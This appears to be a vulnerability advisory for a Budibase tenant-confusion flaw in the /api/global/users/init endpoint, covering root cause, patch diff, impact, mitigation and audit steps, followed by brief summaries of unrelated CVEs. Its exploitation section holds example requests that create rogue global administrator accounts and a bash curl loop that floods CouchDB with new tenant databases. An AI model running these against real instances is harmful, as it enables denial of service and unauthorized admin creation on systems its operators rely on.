Nov 21, 2026·9 min read·2 visits
Budibase versions prior to 3.50.0 fail to validate the tenantId parameter or enforce internal API key authentication on the POST /api/global/users/init initialization endpoint. Unauthenticated attackers can pass arbitrary tenantId strings to bypass the single-tenant initialization check, causing CouchDB to allocate new tenant databases on disk and create global administrator accounts within those databases.
A tenant-confusion vulnerability in the user initialization endpoint of the Budibase worker service (prior to version 3.50.0) allows unauthenticated remote attackers to bypass the one-time administrative setup guard. By supplying arbitrary tenant identifiers in POST requests to /api/global/users/init, an attacker can force the underlying CouchDB datastore to dynamically provision unlimited tenant databases and persist latent global administrator accounts. This results in datastore resource exhaustion, denial of service, and unauthorized administrative account creation inside non-default tenant contexts.
Budibase is an open-source, self-hostable low-code platform used to develop internal business applications, workflows, and administrative portals. The platform uses a microservice architecture where the worker service (packages/worker) manages global users, authentication, and multi-tenancy, while relying on Apache CouchDB as its primary document datastore.
To support initial bootstrapping on self-hosted installations running in default single-tenant mode (multiTenancy: false), the worker service exposes an unauthenticated HTTP endpoint at POST /api/global/users/init. This endpoint allows the system administrator to create the initial global administrator account without pre-existing credentials or session tokens. To prevent subsequent unauthorized use after initial setup, the controller executes a guard function (checkAnyUserExists()) that checks whether any user documents already exist in the global database.
In Budibase versions prior to 3.50.0, the initialization controller extracts the tenantId property directly from the unauthenticated JSON request body and switches the execution context to that tenant before running the existence guard. Because the endpoint fails to verify whether multi-tenancy is enabled or whether the caller is authorized to initialize non-default tenants, an unauthenticated attacker can supply an arbitrary tenantId to evaluate the guard against a non-existent tenant namespace.
This flaw combines Missing Authentication for Critical Functionality (CWE-306), Improper Access Control (CWE-284), and Allocation of Resources Without Limits or Throttling (CWE-770). Remote attackers can repeatedly invoke the endpoint with distinct tenantId values to force CouchDB to allocate thousands of rogue databases on disk, leading to disk space exhaustion, inode depletion, and service unavailability, alongside the persistence of latent global administrator records.
The root cause of CVE-2026-122247 resides in packages/worker/src/api/controllers/global/users.ts within the adminUser controller method mapped to POST /api/global/users/init. The controller destructures email, password, tenantId, ssoId, givenName, and familyName directly from ctx.request.body without validating the tenantId parameter against the active deployment mode.
Immediately after extracting the request body parameters, the controller wraps the initialization logic inside the multi-tenancy context wrapper tenancy.doInTenant(tenantId, async () => { ... }). In Budibase, tenant isolation in CouchDB is implemented by prefixing database names with the active tenant identifier, resolving to the naming format <tenantId>_global-db. In a standard single-tenant deployment, all operations are intended to target the default tenant (constants.DEFAULT_TENANT_ID, which evaluates to "default"), corresponding to the default_global-db database.
When tenancy.doInTenant(tenantId, ...) executes with a user-supplied tenantId (for example, "rogue_tenant_001"), the execution context switches away from default_global-db to rogue_tenant_001_global-db. Inside this scoped context, the one-time guard function checkAnyUserExists() queries CouchDB for existing users within rogue_tenant_001_global-db. Because this tenant identifier has never been used, the database contains zero user documents, and checkAnyUserExists() returns false.
Once the guard check passes, the controller invokes userSdk.db.createAdminUser(). CouchDB dynamically provisions the <tenantId>_global-db database on the filesystem, initializes its metadata and views, and writes a user document granted full administrative privileges (admin: { global: true } and builder: { global: true }). Because the endpoint is designed for pre-authentication bootstrapping, neither session authentication nor Cross-Site Request Forgery (CSRF) protections are enforced on the route.
The vulnerability was resolved in commit 362a7fe9aea594531ece1cf15be76cc00bfb88b9 (Fix unauthenticated tenant initialization (#171)), authored by José Vte. Calderón (jvcalderon). The patch modifies packages/worker/src/api/controllers/global/users.ts to enforce authorization boundaries before entering the tenant context switcher.
@@ -1,6 +1,7 @@
import {
utils as backendCoreUtils,
cache,
+ constants,
context,
db,
events,
@@ -229,6 +230,19 @@ export const adminUser = async (
const { email, password, tenantId, ssoId, givenName, familyName } =
ctx.request.body
+ // Enforce internal API key authentication if multi-tenancy is active
+ // or if the caller specifies any tenantId other than the default tenant.
+ if (
+ context.isMultiTenant() ||
+ (tenantId && tenantId !== constants.DEFAULT_TENANT_ID)
+ ) {
+ const apiKey = ctx.request.headers[constants.Header.API_KEY]
+ if (
+ typeof apiKey !== "string" ||
+ !backendCoreUtils.isValidInternalAPIKey(apiKey)
+ ) {
+ ctx.throw(403, "Unauthorized")
+ }
+ }
+
await tenancy.doInTenant(tenantId, async () => {
// account portal sends a pre-hashed password - honour param to prevent double hashing
const hashPassword = parseBooleanParam(ctx.request.query.hashPassword)The patch introduces a conditional security gate immediately prior to the tenancy.doInTenant(tenantId, ...) call. This check evaluates two conditions:
context.isMultiTenant()).tenantId parameter that does not strictly equal constants.DEFAULT_TENANT_ID ("default").If either condition evaluates to true, the controller inspects the incoming HTTP headers for constants.Header.API_KEY. It verifies that the header value is a string and validates it via backendCoreUtils.isValidInternalAPIKey(apiKey). If the internal API key is missing or invalid, the controller immediately terminates the request by throwing a 403 Unauthorized HTTP exception.
> [!NOTE]
> Fix Completeness Assessment: The patch completely closes the tenant-confusion attack vector. Unauthenticated callers on single-tenant deployments can only reach tenancy.doInTenant() when tenantId is omitted or explicitly set to "default", ensuring checkAnyUserExists() always inspects the legitimate default_global-db database. In multi-tenant deployments, where tenant creation is managed by an internal account portal service, all calls to /api/global/users/init now require a valid internal API key regardless of the tenantId value.
Exploiting CVE-2026-122247 requires network access to the Budibase HTTP ingress or directly to the worker service API port (typically port 4001 internally or exposed via reverse proxy). No authentication credentials, session cookies, or valid API keys are required.
On an already-initialized single-tenant Budibase instance, sending a standard initialization request targeting the default tenant is blocked by the existing user guard:
POST /api/global/users/init HTTP/1.1
Host: target-budibase.local
Content-Type: application/json
{
"email": "admin@organization.local",
"password": "LegitimateAdminPassword123!",
"tenantId": "default"
}Because default_global-db already contains the primary administrator account, the server rejects this request with 403 Forbidden. To bypass this control, an attacker modifies the tenantId field in the JSON payload to an arbitrary, unused identifier:
POST /api/global/users/init HTTP/1.1
Host: target-budibase.local
Content-Type: application/json
{
"email": "attacker@exploit.local",
"password": "RogueAdminPassword123!",
"tenantId": "rogue_tenant_001"
}The worker service processes the request inside the rogue_tenant_001 namespace, observes that rogue_tenant_001_global-db has no existing users, creates the database in CouchDB, writes the global administrator user document, and returns 200 OK.
To achieve a Denial of Service (DoS) against the platform datastore, an attacker can automate requests with unique tenantId strings in a loop:
#!/bin/bash
TARGET="http://target-budibase.local:4001"
for i in $(seq -w 1 10000); do
curl -s -X POST "$TARGET/api/global/users/init" \
-H "Content-Type: application/json" \
-d '{
"email": "dos_user_'$i'@test.local",
"password": "Password123!",
"tenantId": "tenant_exhaustion_'$i'"
}' > /dev/null
doneEach HTTP request triggers multiple write operations in CouchDB, including the allocation of a new .couch database file on the filesystem, updates to internal CouchDB shard maps (_dbs.couch), and index initialization. Sustained execution exhausts disk capacity, filesystem inodes, file descriptors, and CouchDB connection pools.
CVE-2026-122247 carries a CVSS v3.1 base score of 8.2 (HIGH) with the vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H. The exploitability metrics reflect that the flaw is reachable remotely over the network (AV:N), requires low attack complexity (AC:L), demands no privileges (PR:N), and requires no user interaction (UI:N).
The primary immediate impact is on system Availability (A:H). Because CouchDB creates separate underlying database files and metadata structures for every initialized tenant database, an unauthenticated attacker can rapidly deplete storage space and memory on the database host. Once CouchDB exhausts available disk space or open file limits, legitimate database reads and writes for the active default tenant fail, taking the entire Budibase platform offline.
The Integrity (I:L) impact stems from the unauthorized creation of databases and persistent global administrator accounts on the backend datastore. In a strictly single-tenant deployment (MULTI_TENANCY disabled), runtime authentication routines lock incoming login sessions to the default tenant. Consequently, the rogue administrator account created inside <tenantId>_global-db cannot directly authenticate into the default tenant to read or modify default tenant applications (C:N).
However, these unauthorized administrator accounts represent latent privileged persistence. Each created user document holds admin: { global: true } and builder: { global: true } attributes. If the self-hosted administrator later enables multi-tenancy on the instance or migrates the CouchDB datastore into a multi-tenant environment without auditing and purging unauthorized <tenantId>_global-db databases, the attacker can authenticate directly into those pre-seeded tenants with full global administrator and builder capabilities.
Administrators running self-hosted or custom deployments of Budibase must upgrade to version 3.50.0, 4.0.0, or a subsequent release containing commit 362a7fe9aea594531ece1cf15be76cc00bfb88b9. These versions strictly enforce internal API key authentication whenever multi-tenancy is active or when a non-default tenantId is supplied to /api/global/users/init.
If an immediate version upgrade is not feasible, operators should block external access to the initialization endpoint at the reverse proxy, ingress controller, or Web Application Firewall (WAF) layer once initial instance setup is complete. For example, in an Nginx reverse proxy configuration:
location = /api/global/users/init {
deny all;
return 403;
}Security teams should also audit their infrastructure for indicators of compromise (IoCs) to determine whether the vulnerability was exploited prior to patching. First, inspect HTTP access logs and worker logs for POST /api/global/users/init requests that returned HTTP 200 after the initial installation date, or burst requests targeting /api/global/users/init. Second, query the CouchDB _all_dbs endpoint directly to enumerate all existing databases:
curl -s -u "$COUCHDB_USER:$COUCHDB_PASSWORD" http://127.0.0.1:5984/_all_dbsIn a standard single-tenant installation, any database matching the pattern <tenantId>_global-db where <tenantId> is not default indicates unauthorized tenant initialization. Operators should remove any rogue tenant databases discovered during the audit by issuing an authenticated DELETE request to the CouchDB service:
curl -X DELETE -u "$COUCHDB_USER:$COUCHDB_PASSWORD" http://127.0.0.1:5984/<rogue_tenant>_global-dbCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
Budibase Budibase | < 3.50.0 | 3.50.0 |
| Attribute | Detail |
|---|---|
| CVE ID | CVE-2026-122247 (GHSA-25qc-m4pw-2w8r) |
| Primary CWE | CWE-306: Missing Authentication for Critical Function |
| Related CWEs | CWE-284, CWE-770, CWE-863 |
| CVSS v3.1 Score | 8.2 HIGH (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H) |
| Attack Vector | Unauthenticated HTTP POST to /api/global/users/init |
| Primary Impact | CouchDB Resource Exhaustion (DoS) & Latent Global-Admin Creation |
| Affected Versions | Budibase < 3.50.0 |
| CISA KEV Status | Not Listed |
The software does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.
CVE-2026-122244 (GHSA-r2q3-7m4h-63qg) is a high-severity cross-privilege Stored Cross-Site Scripting (XSS) vulnerability in Budibase prior to version 3.50.0. The flaw occurs due to defective character escaping in the JSON formatter utility combined with raw HTML rendering via Svelte's {@html} directive in the Budibase Builder interface. A low-privileged application user or an unauthenticated form visitor can store malicious HTML markup in a shared datasource, which subsequently executes arbitrary JavaScript in the browser session of an administrator or application builder inspecting Handlebars formula bindings.
Paymenter versions prior to 1.5.7 contain an arbitrary method invocation vulnerability within the base Livewire component architecture. The application includes a legacy trait, HasConfirmation, inside app/Livewire/Component.php, which is inherited across 36 client-facing Livewire components. This trait exposes a public remote procedure call (RPC) endpoint named executeConfirmedAction without access controls or method allowlisting. Remote attackers can invoke arbitrary methods on any inheriting component, including Livewire's internal fill() method, enabling them to bypass #[Locked] property protections and manipulate internal component state and hydrated Eloquent models.
OpenRemote prior to version 1.31.0 contains a Missing Authorization vulnerability (CWE-862) in the user management REST API endpoint responsible for disconnecting active MQTT sessions. The disconnectUserSession method in UserResourceImpl fails to verify whether the requesting user owns the target MQTT session, holds administrative privileges, or belongs to the realm specified in the request path. As a result, any authenticated user who obtains a valid MQTT session identifier can forcefully terminate active MQTT connections belonging to other users or IoT devices across any tenant realm.
CVE-2026-69133 (GHSA-cg26-4c6j-2x8h) is a missing resource release vulnerability (CWE-772) in io.netty.incubator:netty-incubator-codec-ohttp affecting versions 0.0.20.Final through 0.0.26.Final. Both OHttpClientCodec and OHttpServerCodec retain the outer cumulationBuffer at its expanded high-water capacity after an Oblivious HTTP (OHTTP) exchange finishes. A remote unauthenticated attacker can complete a large OHTTP request or response over an HTTP keep-alive connection and leave the connection idle, pinning pooled or direct memory allocations across concurrent connections to induce denial of service.
A session fixation vulnerability (CWE-384) exists in CKAN (Comprehensive Knowledge Archive Network) prior to versions 2.10.11 and 2.11.6. When configured with server-side session storage and active public web registration, the user registration view programmatically authenticates newly created accounts without regenerating the active session identifier. An attacker capable of fixing or capturing a victim's pre-authentication session cookie can hijack the newly registered account immediately after registration completes.
CVE-2026-35374 is a Time-of-Check to Time-of-Use (TOCTOU) race condition (CWE-367) in the split utility of uutils coreutils. The utility validates that the input and output paths do not refer to the same file before opening the output file with truncation flags. A local attacker with write permissions in the destination directory can replace the output file path with a symbolic link during this race window, causing the process to truncate and overwrite arbitrary files accessible to the user executing split.